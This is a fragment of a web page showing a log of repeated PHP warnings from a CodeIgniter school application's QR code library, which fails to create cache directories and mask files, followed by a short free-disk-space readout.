			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_6\mask_21_6.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_7\mask_21_7.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;</textarea>  </div>
</div>
<div class="kotak">
  <div class="l">
    Free Space : 12045582336 Byte
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  <div class="r">
  </div>
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